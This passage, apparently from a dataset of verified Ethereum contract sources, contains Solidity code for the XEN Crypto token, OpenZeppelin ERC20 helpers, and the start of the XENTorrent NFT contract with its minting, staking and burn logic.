internal function is equivalent to `approve`, and can be used to\n * e.g. set automatic allowances for certain subsystems, etc.\n *\n * Emits an {Approval} event.\n *\n * Requirements:\n *\n * - `owner` cannot be the zero address.\n * - `spender` cannot be the zero address.\n */\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n /**\n * @dev Updates `owner` s allowance for `spender` based on spent `amount`.\n *\n * Does not update the allowance amount in case of infinite allowance.\n * Revert if not enough allowance is available.\n *\n * Might emit an {Approval} event.\n */\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n if (currentAllowance != type(uint256).max) {\n require(currentAllowance >= amount, \"ERC20: insufficient allowance\");\n unchecked {\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n }\n\n /**\n * @dev Hook that is called before any transfer of tokens. This includes\n * minting and burning.\n *\n * Calling conditions:\n *\n * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens\n * will be transferred to `to`.\n * - when `from` is zero, `amount` tokens will be minted for `to`.\n * - when `to` is zero, `amount` of ``from``'s tokens will be burned.\n * - `from` and `to` are never both zero.\n *\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\n */\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n /**\n * @dev Hook that is called after any transfer of tokens. This includes\n * minting and burning.\n *\n * Calling conditions:\n *\n * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens\n * has been transferred to `to`.\n * - when `from` is zero, `amount` tokens have been minted for `to`.\n * - when `to` is zero, `amount` of ``from``'s tokens have been burned.\n * - `from` and `to` are never both zero.\n *\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\n */\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}\n"
},
"@openzeppelin/contracts/interfaces/IERC2981.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.6.0) (interfaces/IERC2981.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../utils/introspection/IERC165.sol\";\n\n/**\n * @dev Interface for the NFT Royalty Standard.\n *\n * A standardized way to retrieve royalty payment information for non-fungible tokens (NFTs) to enable universal\n * support for royalty payments across all NFT marketplaces and ecosystem participants.\n *\n * _Available since v4.5._\n */\ninterface IERC2981 is IERC165 {\n /**\n * @dev Returns how much royalty is owed and to whom, based on a sale price that may be denominated in any unit of\n * exchange. The royalty amount is denominated and should be paid in that same unit of exchange.\n */\n function royaltyInfo(uint256 tokenId, uint256 salePrice)\n external\n view\n returns (address receiver, uint256 royaltyAmount);\n}\n"
},
"@openzeppelin/contracts/interfaces/IERC165.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (interfaces/IERC165.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../utils/introspection/IERC165.sol\";\n"
},
"@faircrypto/xen-crypto/contracts/interfaces/IStakingToken.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IStakingToken {\n event Staked(address indexed user, uint256 amount, uint256 term);\n\n event Withdrawn(address indexed user, uint256 amount, uint256 reward);\n\n function stake(uint256 amount, uint256 term) external;\n\n function withdraw() external;\n}\n"
},
"@faircrypto/xen-crypto/contracts/interfaces/IRankedMintingToken.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IRankedMintingToken {\n event RankClaimed(address indexed user, uint256 term, uint256 rank);\n\n event MintClaimed(address indexed user, uint256 rewardAmount);\n\n function claimRank(uint256 term) external;\n\n function claimMintReward() external;\n}\n"
},
"@faircrypto/xen-crypto/contracts/interfaces/IBurnableToken.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IBurnableToken {\n function burn(address user, uint256 amount) external;\n}\n"
},
"@faircrypto/xen-crypto/contracts/interfaces/IBurnRedeemable.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IBurnRedeemable {\n event Redeemed(\n address indexed user,\n address indexed xenContract,\n address indexed tokenContract,\n uint256 xenAmount,\n uint256 tokenAmount\n );\n\n function onTokenBurned(address user, uint256 amount) external;\n}\n"
},
"@faircrypto/xen-crypto/contracts/XENCrypto.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"./Math.sol\";\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\";\nimport \"@openzeppelin/contracts/interfaces/IERC165.sol\";\nimport \"abdk-libraries-solidity/ABDKMath64x64.sol\";\nimport \"./interfaces/IStakingToken.sol\";\nimport \"./interfaces/IRankedMintingToken.sol\";\nimport \"./interfaces/IBurnableToken.sol\";\nimport \"./interfaces/IBurnRedeemable.sol\";\n\ncontract XENCrypto is Context, IRankedMintingToken, IStakingToken, IBurnableToken, ERC20(\"XEN Crypto\", \"XEN\") {\n using Math for uint256;\n using ABDKMath64x64 for int128;\n using ABDKMath64x64 for uint256;\n\n // INTERNAL TYPE TO DESCRIBE A XEN MINT INFO\n struct MintInfo {\n address user;\n uint256 term;\n uint256 maturityTs;\n uint256 rank;\n uint256 amplifier;\n uint256 eaaRate;\n }\n\n // INTERNAL TYPE TO DESCRIBE A XEN STAKE\n struct StakeInfo {\n uint256 term;\n uint256 maturityTs;\n uint256 amount;\n uint256 apy;\n }\n\n // PUBLIC CONSTANTS\n\n uint256 public constant SECONDS_IN_DAY = 3_600 * 24;\n uint256 public constant DAYS_IN_YEAR = 365;\n\n uint256 public constant GENESIS_RANK = 1;\n\n uint256 public constant MIN_TERM = 1 * SECONDS_IN_DAY - 1;\n uint256 public constant MAX_TERM_START = 100 * SECONDS_IN_DAY;\n uint256 public constant MAX_TERM_END = 1_000 * SECONDS_IN_DAY;\n uint256 public constant TERM_AMPLIFIER = 15;\n uint256 public constant TERM_AMPLIFIER_THRESHOLD = 5_000;\n uint256 public constant REWARD_AMPLIFIER_START = 3_000;\n uint256 public constant REWARD_AMPLIFIER_END = 1;\n uint256 public constant EAA_PM_START = 100;\n uint256 public constant EAA_PM_STEP = 1;\n uint256 public constant EAA_RANK_STEP = 100_000;\n uint256 public constant WITHDRAWAL_WINDOW_DAYS = 7;\n uint256 public constant MAX_PENALTY_PCT = 99;\n\n uint256 public constant XEN_MIN_STAKE = 0;\n\n uint256 public constant XEN_MIN_BURN = 0;\n\n uint256 public constant XEN_APY_START = 20;\n uint256 public constant XEN_APY_DAYS_STEP = 90;\n uint256 public constant XEN_APY_END = 2;\n\n string public constant AUTHORS = \"@MrJackLevin @lbelyaev faircrypto.org\";\n\n // PUBLIC STATE, READABLE VIA NAMESAKE GETTERS\n\n uint256 public immutable genesisTs;\n uint256 public globalRank = GENESIS_RANK;\n uint256 public activeMinters;\n uint256 public activeStakes;\n uint256 public totalXenStaked;\n // user address => XEN mint info\n mapping(address => MintInfo) public userMints;\n // user address => XEN stake info\n mapping(address => StakeInfo) public userStakes;\n // user address => XEN burn amount\n mapping(address => uint256) public userBurns;\n\n // CONSTRUCTOR\n constructor() {\n genesisTs = block.timestamp;\n }\n\n // PRIVATE METHODS\n\n /**\n * @dev calculates current MaxTerm based on Global Rank\n * (if Global Rank crosses over TERM_AMPLIFIER_THRESHOLD)\n */\n function _calculateMaxTerm() private view returns (uint256) {\n if (globalRank > TERM_AMPLIFIER_THRESHOLD) {\n uint256 delta = globalRank.fromUInt().log_2().mul(TERM_AMPLIFIER.fromUInt()).toUInt();\n uint256 newMax = MAX_TERM_START + delta * SECONDS_IN_DAY;\n return Math.min(newMax, MAX_TERM_END);\n }\n return MAX_TERM_START;\n }\n\n /**\n * @dev calculates Withdrawal Penalty depending on lateness\n */\n function _penalty(uint256 secsLate) private pure returns (uint256) {\n // =MIN(2^(daysLate+3)/window-1,99)\n uint256 daysLate = secsLate / SECONDS_IN_DAY;\n if (daysLate > WITHDRAWAL_WINDOW_DAYS - 1) return MAX_PENALTY_PCT;\n uint256 penalty = (uint256(1) << (daysLate + 3)) / WITHDRAWAL_WINDOW_DAYS - 1;\n return Math.min(penalty, MAX_PENALTY_PCT);\n }\n\n /**\n * @dev calculates net Mint Reward (adjusted for Penalty)\n */\n function _calculateMintReward(\n uint256 cRank,\n uint256 term,\n uint256 maturityTs,\n uint256 amplifier,\n uint256 eeaRate\n ) private view returns (uint256) {\n uint256 secsLate = block.timestamp - maturityTs;\n uint256 penalty = _penalty(secsLate);\n uint256 rankDelta = Math.max(globalRank - cRank, 2);\n uint256 EAA = (1_000 + eeaRate);\n uint256 reward = getGrossReward(rankDelta, amplifier, term, EAA);\n return (reward * (100 - penalty)) / 100;\n }\n\n /**\n * @dev cleans up User Mint storage (gets some Gas credit;))\n */\n function _cleanUpUserMint() private {\n delete userMints[_msgSender()];\n activeMinters--;\n }\n\n /**\n * @dev calculates XEN Stake Reward\n */\n function _calculateStakeReward(\n uint256 amount,\n uint256 term,\n uint256 maturityTs,\n uint256 apy\n ) private view returns (uint256) {\n if (block.timestamp > maturityTs) {\n uint256 rate = (apy * term * 1_000_000) / DAYS_IN_YEAR;\n return (amount * rate) / 100_000_000;\n }\n return 0;\n }\n\n /**\n * @dev calculates Reward Amplifier\n */\n function _calculateRewardAmplifier() private view returns (uint256) {\n uint256 amplifierDecrease = (block.timestamp - genesisTs) / SECONDS_IN_DAY;\n if (amplifierDecrease < REWARD_AMPLIFIER_START) {\n return Math.max(REWARD_AMPLIFIER_START - amplifierDecrease, REWARD_AMPLIFIER_END);\n } else {\n return REWARD_AMPLIFIER_END;\n }\n }\n\n /**\n * @dev calculates Early Adopter Amplifier Rate (in 1/000ths)\n * actual EAA is (1_000 + EAAR) / 1_000\n */\n function _calculateEAARate() private view returns (uint256) {\n uint256 decrease = (EAA_PM_STEP * globalRank) / EAA_RANK_STEP;\n if (decrease > EAA_PM_START) return 0;\n return EAA_PM_START - decrease;\n }\n\n /**\n * @dev calculates APY (in %)\n */\n function _calculateAPY() private view returns (uint256) {\n uint256 decrease = (block.timestamp - genesisTs) / (SECONDS_IN_DAY * XEN_APY_DAYS_STEP);\n if (XEN_APY_START - XEN_APY_END < decrease) return XEN_APY_END;\n return XEN_APY_START - decrease;\n }\n\n /**\n * @dev creates User Stake\n */\n function _createStake(uint256 amount, uint256 term) private {\n userStakes[_msgSender()] = StakeInfo({\n term: term,\n maturityTs: block.timestamp + term * SECONDS_IN_DAY,\n amount: amount,\n apy: _calculateAPY()\n });\n activeStakes++;\n totalXenStaked += amount;\n }\n\n // PUBLIC CONVENIENCE GETTERS\n\n /**\n * @dev calculates gross Mint Reward\n */\n function getGrossReward(\n uint256 rankDelta,\n uint256 amplifier,\n uint256 term,\n uint256 eaa\n ) public pure returns (uint256) {\n int128 log128 = rankDelta.fromUInt().log_2();\n int128 reward128 = log128.mul(amplifier.fromUInt()).mul(term.fromUInt()).mul(eaa.fromUInt());\n return reward128.div(uint256(1_000).fromUInt()).toUInt();\n }\n\n /**\n * @dev returns User Mint object associated with User account address\n */\n function getUserMint() external view returns (MintInfo memory) {\n return userMints[_msgSender()];\n }\n\n /**\n * @dev returns XEN Stake object associated with User account address\n */\n function getUserStake() external view returns (StakeInfo memory) {\n return userStakes[_msgSender()];\n }\n\n /**\n * @dev returns current AMP\n */\n function getCurrentAMP() external view returns (uint256) {\n return _calculateRewardAmplifier();\n }\n\n /**\n * @dev returns current EAA Rate\n */\n function getCurrentEAAR() external view returns (uint256) {\n return _calculateEAARate();\n }\n\n /**\n * @dev returns current APY\n */\n function getCurrentAPY() external view returns (uint256) {\n return _calculateAPY();\n }\n\n /**\n * @dev returns current MaxTerm\n */\n function getCurrentMaxTerm() external view returns (uint256) {\n return _calculateMaxTerm();\n }\n\n // PUBLIC STATE-CHANGING METHODS\n\n /**\n * @dev accepts User cRank claim provided all checks pass (incl. no current claim exists)\n */\n function claimRank(uint256 term) external {\n uint256 termSec = term * SECONDS_IN_DAY;\n require(termSec > MIN_TERM, \"CRank: Term less than min\");\n require(termSec < _calculateMaxTerm() + 1, \"CRank: Term more than current max term\");\n require(userMints[_msgSender()].rank == 0, \"CRank: Mint already in progress\");\n\n // create and store new MintInfo\n MintInfo memory mintInfo = MintInfo({\n user: _msgSender(),\n term: term,\n maturityTs: block.timestamp + termSec,\n rank: globalRank,\n amplifier: _calculateRewardAmplifier(),\n eaaRate: _calculateEAARate()\n });\n userMints[_msgSender()] = mintInfo;\n activeMinters++;\n emit RankClaimed(_msgSender(), term, globalRank++);\n }\n\n /**\n * @dev ends minting upon maturity (and within permitted Withdrawal Time Window), gets minted XEN\n */\n function claimMintReward() external {\n MintInfo memory mintInfo = userMints[_msgSender()];\n require(mintInfo.rank > 0, \"CRank: No mint exists\");\n require(block.timestamp > mintInfo.maturityTs, \"CRank: Mint maturity not reached\");\n\n // calculate reward and mint tokens\n uint256 rewardAmount = _calculateMintReward(\n mintInfo.rank,\n mintInfo.term,\n mintInfo.maturityTs,\n mintInfo.amplifier,\n mintInfo.eaaRate\n ) * 1 ether;\n _mint(_msgSender(), rewardAmount);\n\n _cleanUpUserMint();\n emit MintClaimed(_msgSender(), rewardAmount);\n }\n\n /**\n * @dev ends minting upon maturity (and within permitted Withdrawal time Window)\n * mints XEN coins and splits them between User and designated other address\n */\n function claimMintRewardAndShare(address other, uint256 pct) external {\n MintInfo memory mintInfo = userMints[_msgSender()];\n require(other != address(0), \"CRank: Cannot share with zero address\");\n require(pct > 0, \"CRank: Cannot share zero percent\");\n require(pct < 101, \"CRank: Cannot share 100+ percent\");\n require(mintInfo.rank > 0, \"CRank: No mint exists\");\n require(block.timestamp > mintInfo.maturityTs, \"CRank: Mint maturity not reached\");\n\n // calculate reward\n uint256 rewardAmount = _calculateMintReward(\n mintInfo.rank,\n mintInfo.term,\n mintInfo.maturityTs,\n mintInfo.amplifier,\n mintInfo.eaaRate\n ) * 1 ether;\n uint256 sharedReward = (rewardAmount * pct) / 100;\n uint256 ownReward = rewardAmount - sharedReward;\n\n // mint reward tokens\n _mint(_msgSender(), ownReward);\n _mint(other, sharedReward);\n\n _cleanUpUserMint();\n emit MintClaimed(_msgSender(), rewardAmount);\n }\n\n /**\n * @dev ends minting upon maturity (and within permitted Withdrawal time Window)\n * mints XEN coins and stakes 'pct' of it for 'term'\n */\n function claimMintRewardAndStake(uint256 pct, uint256 term) external {\n MintInfo memory mintInfo = userMints[_msgSender()];\n // require(pct > 0, \"CRank: Cannot share zero percent\");\n require(pct < 101, \"CRank: Cannot share >100 percent\");\n require(mintInfo.rank > 0, \"CRank: No mint exists\");\n require(block.timestamp > mintInfo.maturityTs, \"CRank: Mint maturity not reached\");\n\n // calculate reward\n uint256 rewardAmount = _calculateMintReward(\n mintInfo.rank,\n mintInfo.term,\n mintInfo.maturityTs,\n mintInfo.amplifier,\n mintInfo.eaaRate\n ) * 1 ether;\n uint256 stakedReward = (rewardAmount * pct) / 100;\n uint256 ownReward = rewardAmount - stakedReward;\n\n // mint reward tokens part\n _mint(_msgSender(), ownReward);\n _cleanUpUserMint();\n emit MintClaimed(_msgSender(), rewardAmount);\n\n // nothing to burn since we haven't minted this part yet\n // stake extra tokens part\n require(stakedReward > XEN_MIN_STAKE, \"XEN: Below min stake\");\n require(term * SECONDS_IN_DAY > MIN_TERM, \"XEN: Below min stake term\");\n require(term * SECONDS_IN_DAY < MAX_TERM_END + 1, \"XEN: Above max stake term\");\n require(userStakes[_msgSender()].amount == 0, \"XEN: stake exists\");\n\n _createStake(stakedReward, term);\n emit Staked(_msgSender(), stakedReward, term);\n }\n\n /**\n * @dev initiates XEN Stake in amount for a term (days)\n */\n function stake(uint256 amount, uint256 term) external {\n require(balanceOf(_msgSender()) >= amount, \"XEN: not enough balance\");\n require(amount > XEN_MIN_STAKE, \"XEN: Below min stake\");\n require(term * SECONDS_IN_DAY > MIN_TERM, \"XEN: Below min stake term\");\n require(term * SECONDS_IN_DAY < MAX_TERM_END + 1, \"XEN: Above max stake term\");\n require(userStakes[_msgSender()].amount == 0, \"XEN: stake exists\");\n\n // burn staked XEN\n _burn(_msgSender(), amount);\n // create XEN Stake\n _createStake(amount, term);\n emit Staked(_msgSender(), amount, term);\n }\n\n /**\n * @dev ends XEN Stake and gets reward if the Stake is mature\n */\n function withdraw() external {\n StakeInfo memory userStake = userStakes[_msgSender()];\n require(userStake.amount > 0, \"XEN: no stake exists\");\n\n uint256 xenReward = _calculateStakeReward(\n userStake.amount,\n userStake.term,\n userStake.maturityTs,\n userStake.apy\n );\n activeStakes--;\n totalXenStaked -= userStake.amount;\n\n // mint staked XEN (+ reward)\n _mint(_msgSender(), userStake.amount + xenReward);\n emit Withdrawn(_msgSender(), userStake.amount, xenReward);\n delete userStakes[_msgSender()];\n }\n\n /**\n * @dev burns XEN tokens and creates Proof-Of-Burn record to be used by connected DeFi services\n */\n function burn(address user, uint256 amount) public {\n require(amount > XEN_MIN_BURN, \"Burn: Below min limit\");\n require(\n IERC165(_msgSender()).supportsInterface(type(IBurnRedeemable).interfaceId),\n \"Burn: not a supported contract\"\n );\n\n _spendAllowance(user, _msgSender(), amount);\n _burn(user, amount);\n userBurns[user] += amount;\n IBurnRedeemable(_msgSender()).onTokenBurned(user, amount);\n }\n}\n"
},
"@faircrypto/xen-crypto/contracts/Math.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"abdk-libraries-solidity/ABDKMath64x64.sol\";\n\nlibrary Math {\n\n function min(uint256 a, uint256 b) external pure returns (uint256) {\n if (a > b) return b;\n return a;\n }\n\n function max(uint256 a, uint256 b) external pure returns (uint256) {\n if (a > b) return a;\n return b;\n }\n\n function logX64(uint256 x) external pure returns (int128) {\n return ABDKMath64x64.log_2(ABDKMath64x64.fromUInt(x));\n }\n}\n"
}
},
"settings": {
"remappings": [],
"optimizer": {
"enabled": true,
"runs": 20
},
"evmVersion": "london",
"libraries": {
"/contracts/libs/MintInfo.sol": {
"MintInfo": "0xC739d01beb34E380461BBa9ef8ed1a44874382Be"
},
"/contracts/libs/Metadata.sol": {
"Metadata": "0x1Ac17FFB8456525BfF46870bba7Ed8772ba063a5"
}
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
}
}
}}
|
1 | 19,503,081 |
44d5eb1f606e48a1f7bf49b7ef6942bf3e75a1b6dce64d55238320f06d48777e
|
0574a1ef3a37f1ea8b041a3fba39caeffad00590c647ed9bbb578484c7d8d98a
|
5e05f02c1e0ada6eece8dca05b2c3fb551a8da2b
|
0a252663dbcc0b073063d6420a40319e438cfa59
|
4698df7cbb434d8381f4b067db9bc95087f80c6d
|
3d602d80600a3d3981f3363d3d373d3d3d363d730a252663dbcc0b073063d6420a40319e438cfa595af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d730a252663dbcc0b073063d6420a40319e438cfa595af43d82803e903d91602b57fd5bf3
|
{{
"language": "Solidity",
"sources": {
"/contracts/XENFT.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"@openzeppelin/contracts/token/ERC721/ERC721.sol\";\nimport \"@openzeppelin/contracts/interfaces/IERC2981.sol\";\nimport \"@openzeppelin/contracts/utils/Base64.sol\";\nimport \"@openzeppelin/contracts/utils/Strings.sol\";\nimport \"@faircrypto/xen-crypto/contracts/XENCrypto.sol\";\nimport \"@faircrypto/xen-crypto/contracts/interfaces/IBurnableToken.sol\";\nimport \"@faircrypto/xen-crypto/contracts/interfaces/IBurnRedeemable.sol\";\nimport \"operator-filter-registry/src/DefaultOperatorFilterer.sol\";\nimport \"./libs/ERC2771Context.sol\";\nimport \"./interfaces/IERC2771.sol\";\nimport \"./interfaces/IXENTorrent.sol\";\nimport \"./interfaces/IXENProxying.sol\";\nimport \"./libs/MintInfo.sol\";\nimport \"./libs/Metadata.sol\";\nimport \"./libs/Array.sol\";\n\n/*\n\n \\\\ // ||||||||||| |\\ || A CRYPTOCURRENCY FOR THE MASSES\n \\\\ // || |\\\\ ||\n \\\\ // || ||\\\\ || PRINCIPLES OF XEN:\n \\\\// || || \\\\ || - No pre-mint; starts with zero supply\n XX |||||||| || \\\\ || - No admin keys\n //\\\\ || || \\\\ || - Immutable contract\n // \\\\ || || \\\\||\n // \\\\ || || \\\\|\n // \\\\ ||||||||||| || \\| Copyright (C) FairCrypto Foundation 2022\n\n\n XENFT XEN Torrent props:\n - count: number of VMUs\n - mintInfo: (term, maturityTs, cRank start, AMP, EAA, apex, limited, group, redeemed)\n */\ncontract XENTorrent is\n DefaultOperatorFilterer, // required to support OpenSea royalties\n IXENTorrent,\n IXENProxying,\n IBurnableToken,\n IBurnRedeemable,\n ERC2771Context, // required to support meta transactions\n IERC2981, // required to support NFT royalties\n ERC721(\"XEN Torrent\", \"XENT\")\n{\n // HELPER LIBRARIES\n\n using Strings for uint256;\n using MintInfo for uint256;\n using Array for uint256[];\n\n // PUBLIC CONSTANTS\n\n // XENFT common business logic\n uint256 public constant BLACKOUT_TERM = 7 * 24 * 3600; /* 7 days in sec */\n\n // XENFT categories' params\n uint256 public constant COMMON_CATEGORY_COUNTER = 10_001;\n uint256 public constant SPECIAL_CATEGORIES_VMU_THRESHOLD = 99;\n uint256 public constant LIMITED_CATEGORY_TIME_THRESHOLD = 3_600 * 24 * 365;\n\n uint256 public constant POWER_GROUP_SIZE = 7_500;\n\n string public constant AUTHORS = \"@MrJackLevin @lbelyaev faircrypto.org\";\n\n uint256 public constant ROYALTY_BP = 250;\n\n // PUBLIC MUTABLE STATE\n\n // increasing counters for NFT tokenIds, also used as salt for proxies' spinning\n uint256 public tokenIdCounter = COMMON_CATEGORY_COUNTER;\n\n // Indexing of params by categories and classes:\n // 0: Collector\n // 1: Limited\n // 2: Rare\n // 3: Epic\n // 4: Legendary\n // 5: Exotic\n // 6: Xunicorn\n // [0, B1, B2, B3, B4, B5, B6]\n uint256[] public specialClassesBurnRates;\n // [0, 0, R1, R2, R3, R4, R5]\n uint256[] public specialClassesTokenLimits;\n // [0, 0, 0 + 1, R1+1, R2+1, R3+1, R4+1]\n uint256[] public specialClassesCounters;\n\n // mapping: NFT tokenId => count of Virtual Mining Units\n mapping(uint256 => uint256) public vmuCount;\n // mapping: NFT tokenId => burned XEN\n mapping(uint256 => uint256) public xenBurned;\n // mapping: NFT tokenId => MintInfo (used in tokenURI generation)\n // MintInfo encoded as:\n // term (uint16)\n // | maturityTs (uint64)\n // | rank (uint128)\n // | amp (uint16)\n // | eaa (uint16)\n // | class (uint8):\n // [7] isApex\n // [6] isLimited\n // [0-5] powerGroupIdx\n // | redeemed (uint8)\n mapping(uint256 => uint256) public mintInfo;\n\n // PUBLIC IMMUTABLE STATE\n\n // pointer to XEN Crypto contract\n XENCrypto public immutable xenCrypto;\n // genesisTs for the contract\n uint256 public immutable genesisTs;\n // start of operations block number\n uint256 public immutable startBlockNumber;\n\n // PRIVATE STATE\n\n // original contract marking to distinguish from proxy copies\n address private immutable _original;\n // original deployer address to be used for setting trusted forwarder\n address private immutable _deployer;\n // address to be used for royalties' tracking\n address private immutable _royaltyReceiver;\n\n // reentrancy guard constants and state\n // using non-zero constants to save gas avoiding repeated initialization\n uint256 private constant _NOT_USED = 2**256 - 1; // 0xFF..FF\n uint256 private constant _USED = _NOT_USED - 1; // 0xFF..FE\n // used as both\n // - reentrancy guard (_NOT_USED > _USED > _NOT_USED)\n // - for keeping state while awaiting for OnTokenBurned callback (_NOT_USED > tokenId > _NOT_USED)\n uint256 private _tokenId;\n\n // mapping Address => tokenId[]\n mapping(address => uint256[]) private _ownedTokens;\n\n /**\n @dev Constructor. Creates XEN Torrent contract, setting immutable parameters\n */\n constructor(\n address xenCrypto_,\n uint256[] memory burnRates_,\n uint256[] memory tokenLimits_,\n uint256 startBlockNumber_,\n address forwarder_,\n address royaltyReceiver_\n ) ERC2771Context(forwarder_) {\n require(xenCrypto_ != address(0), \"bad address\");\n require(burnRates_.length == tokenLimits_.length && burnRates_.length > 0, \"params mismatch\");\n _tokenId = _NOT_USED;\n _original = address(this);\n _deployer = msg.sender;\n _royaltyReceiver = royaltyReceiver_ == address(0) ? msg.sender : royaltyReceiver_;\n startBlockNumber = startBlockNumber_;\n genesisTs = block.timestamp;\n xenCrypto = XENCrypto(xenCrypto_);\n specialClassesBurnRates = burnRates_;\n specialClassesTokenLimits = tokenLimits_;\n specialClassesCounters = new uint256[](tokenLimits_.length);\n for (uint256 i = 2; i < specialClassesBurnRates.length - 1; i++) {\n specialClassesCounters[i] = specialClassesTokenLimits[i + 1] + 1;\n }\n specialClassesCounters[specialClassesBurnRates.length - 1] = 1;\n }\n\n /**\n @dev Call Reentrancy Guard\n */\n modifier nonReentrant() {\n require(_tokenId == _NOT_USED, \"XENFT: Reentrancy detected\");\n _tokenId = _USED;\n _;\n _tokenId = _NOT_USED;\n }\n\n /**\n @dev Start of Operations Guard\n */\n modifier notBeforeStart() {\n require(block.number > startBlockNumber, \"XENFT: Not active yet\");\n _;\n }\n\n // INTERFACES & STANDARDS\n // IERC165 IMPLEMENTATION\n\n /**\n @dev confirms support for IERC-165, IERC-721, IERC2981, IERC2771 and IBurnRedeemable interfaces\n */\n function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {\n return\n interfaceId == type(IBurnRedeemable).interfaceId ||\n interfaceId == type(IERC2981).interfaceId ||\n interfaceId == type(IERC2771).interfaceId ||\n super.supportsInterface(interfaceId);\n }\n\n // ERC2771 IMPLEMENTATION\n\n /**\n @dev use ERC2771Context implementation of _msgSender()\n */\n function _msgSender() internal view virtual override(Context, ERC2771Context) returns (address) {\n return ERC2771Context._msgSender();\n }\n\n /**\n @dev use ERC2771Context implementation of _msgData()\n */\n function _msgData() internal view virtual override(Context, ERC2771Context) returns (bytes calldata) {\n return ERC2771Context._msgData();\n }\n\n // OWNABLE IMPLEMENTATION\n\n /**\n @dev public getter to check for deployer / owner (Opensea, etc.)\n */\n function owner() external view returns (address) {\n return _deployer;\n }\n\n // ERC-721 METADATA IMPLEMENTATION\n /**\n @dev compliance with ERC-721 standard (NFT); returns NFT metadata, including SVG-encoded image\n */\n function tokenURI(uint256 tokenId) public view override returns (string memory) {\n uint256 count = vmuCount[tokenId];\n uint256 info = mintInfo[tokenId];\n uint256 burned = xenBurned[tokenId];\n require(count > 0);\n bytes memory dataURI = abi.encodePacked(\n \"{\",\n '\"name\": \"XEN Torrent #',\n tokenId.toString(),\n '\",',\n '\"description\": \"XENFT: XEN Crypto Minting Torrent\",',\n '\"image\": \"',\n \"data:image/svg+xml;base64,\",\n Base64.encode(Metadata.svgData(tokenId, count, info, address(xenCrypto), burned)),\n '\",',\n '\"attributes\": ',\n Metadata.attributes(count, burned, info),\n \"}\"\n );\n return string(abi.encodePacked(\"data:application/json;base64,\", Base64.encode(dataURI)));\n }\n\n // IMPLEMENTATION OF XENProxying INTERFACE\n // FUNCTIONS IN PROXY COPY CONTRACTS (VMUs), CALLING ORIGINAL XEN CRYPTO CONTRACT\n /**\n @dev function callable only in proxy contracts from the original one => XENCrypto.claimRank(term)\n */\n function callClaimRank(uint256 term) external {\n require(msg.sender == _original, \"XEN Proxy: unauthorized\");\n bytes memory callData = abi.encodeWithSignature(\"claimRank(uint256)\", term);\n (bool success, ) = address(xenCrypto).call(callData);\n require(success, \"call failed\");\n }\n\n /**\n @dev function callable only in proxy contracts from the original one => XENCrypto.claimMintRewardAndShare()\n */\n function callClaimMintReward(address to) external {\n require(msg.sender == _original, \"XEN Proxy: unauthorized\");\n bytes memory callData = abi.encodeWithSignature(\"claimMintRewardAndShare(address,uint256)\", to, uint256(100));\n (bool success, ) = address(xenCrypto).call(callData);\n require(success, \"call failed\");\n }\n\n /**\n @dev function callable only in proxy contracts from the original one => destroys the proxy contract\n */\n function powerDown() external {\n require(msg.sender == _original, \"XEN Proxy: unauthorized\");\n selfdestruct(payable(address(0)));\n }\n\n // OVERRIDING OF ERC-721 IMPLEMENTATION\n // ENFORCEMENT OF TRANSFER BLACKOUT PERIOD\n\n /**\n @dev overrides OZ ERC-721 before transfer hook to check if there's no blackout period\n */\n function _beforeTokenTransfer(\n address from,\n address,\n uint256 tokenId\n ) internal virtual override {\n if (from != address(0)) {\n uint256 maturityTs = mintInfo[tokenId].getMaturityTs();\n uint256 delta = maturityTs > block.timestamp ? maturityTs - block.timestamp : block.timestamp - maturityTs;\n require(delta > BLACKOUT_TERM, \"XENFT: transfer prohibited in blackout period\");\n }\n }\n\n /**\n @dev overrides OZ ERC-721 after transfer hook to allow token enumeration for owner\n */\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 tokenId\n ) internal virtual override {\n _ownedTokens[from].removeItem(tokenId);\n _ownedTokens[to].addItem(tokenId);\n }\n\n // IBurnRedeemable IMPLEMENTATION\n\n /**\n @dev implements IBurnRedeemable interface for burning XEN and completing Bulk Mint for limited series\n */\n function onTokenBurned(address user, uint256 burned) external {\n require(_tokenId != _NOT_USED, \"XENFT: illegal callback state\");\n require(msg.sender == address(xenCrypto), \"XENFT: illegal callback caller\");\n _ownedTokens[user].addItem(_tokenId);\n xenBurned[_tokenId] = burned;\n _safeMint(user, _tokenId);\n emit StartTorrent(user, vmuCount[_tokenId], mintInfo[_tokenId].getTerm());\n _tokenId = _NOT_USED;\n }\n\n // IBurnableToken IMPLEMENTATION\n\n /**\n @dev burns XENTorrent XENFT which can be used by connected contracts services\n 